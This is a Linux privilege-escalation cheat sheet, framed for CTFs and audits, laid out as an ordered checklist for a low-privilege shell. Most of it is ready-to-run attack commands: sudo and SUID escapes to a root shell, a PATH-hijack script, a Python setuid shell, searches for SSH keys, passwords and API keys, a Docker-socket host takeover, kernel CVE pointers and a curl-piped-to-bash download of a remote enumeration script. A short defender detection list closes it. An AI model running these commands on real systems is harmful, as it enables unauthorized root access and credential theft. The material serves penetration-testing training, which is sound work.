You have a low-privilege shell. Now what? This cheat sheet is the ordered, opinionated checklist that solves the privesc step on most CTFs and audits.
0. Stabilize the Shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color
stty raw -echo; fg # back in your terminal: stty rows X cols Y
A broken shell wastes hours.
1. The Triple Enumeration
id; whoami; groups
hostname; uname -a; cat /etc/os-release
cat /proc/version
The kernel version determines applicable kernel exploits. Group memberships (disk, docker, lxd, adm) are often instant wins.
2. Sudo Abuse — Always Check First
sudo -l
If you see NOPASSWD entries, head to GTFOBins and look up each binary. Every common UNIX tool has a sudo escape there.
# Example: sudo /usr/bin/find allowed
sudo find . -exec /bin/bash \; -quit
3. SUID / SGID Binaries
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null
Cross-reference each against GTFOBins. Custom SUID binaries are common privesc vectors:
# Hijack via PATH
strings /usr/local/bin/backup # uses 'tar' without full path
echo '#!/bin/bash' > /tmp/tar
echo 'bash -p' >> /tmp/tar
chmod +x /tmp/tar
export PATH=/tmp:$PATH
/usr/local/bin/backup # tar runs from /tmp, with SUID
4. Linux Capabilities
The modern replacement for SUID; equally dangerous when misconfigured.
getcap -r / 2>/dev/null
Look for:
/usr/bin/python3 = cap_setuid+ep # game over
/usr/bin/perl = cap_setuid+ep # game over
/usr/bin/tar = cap_dac_read_search+ep # read every file
Python escape:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
5. Cron Jobs
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers
Look for:
- Scripts owned by root but writable by your user or group
- Scripts that call binaries by basename, exploitable via PATH
- Scripts that include directories you can write into
6. Writable Paths the Root Process Uses
Even without cron, services running as root that read your-writable files are golden:
# Find files you can write that root reads
find / -writable -type f -not -path '/proc/*' -not -path '/sys/*' 2>/dev/null
Common: /etc/passwd (writable on broken systems), Python virtualenvs, .bash_profile of an admin who occasionally su -s in.
7. Sensitive Files
# History files
cat ~/.bash_history
cat /home/*/.bash_history 2>/dev/null
# SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
# Application credentials
grep -ir "password" /etc/ 2>/dev/null
grep -ir "API_KEY" /var/www/ 2>/dev/null
cat /var/lib/mysql/mysql/user.MYD 2>/dev/null
8. Kernel Exploits — Last Resort
Identify exact kernel:
uname -r
Then search the dirty-cow style live archive for that version. CVE candidates that still appear on misconfigured production boxes:
- CVE-2022-0847 (Dirty Pipe) — Linux 5.8 to 5.16.11
- CVE-2021-4034 (PwnKit) — almost every Linux distribution before 2022
- CVE-2023-32233 — Linux netfilter (5.x through 6.3.1)
Kernel exploits crash machines. Use them last.
9. Containers and Sandbox Breakouts
Inside a Docker container:
# Are we privileged?
ls -la /.dockerenv
cat /proc/self/status | grep CapEff
# Mounted host paths?
mount | grep "type ext"
# Docker socket exposed?
ls -la /var/run/docker.sock
A mounted Docker socket usually means: docker -H unix:///var/run/docker.sock run -v /:/host alpine chroot /host.
10. Automated Tools
Run these after you’ve thought through the box by hand:
- LinPEAS — best one-shot enumerator
- LinEnum — simpler, smaller output
- GTFOBins — sudo/SUID escape cheat sheet
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | bash
Detection (For Defenders)
auditdrules onexecveof SUID binaries- Sysmon for Linux on
process_creationwithImage=/usr/bin/sudo - File integrity monitoring on
/etc/passwd,/etc/shadow,/etc/sudoers - Capability monitoring with eBPF tools (
bpftrace)
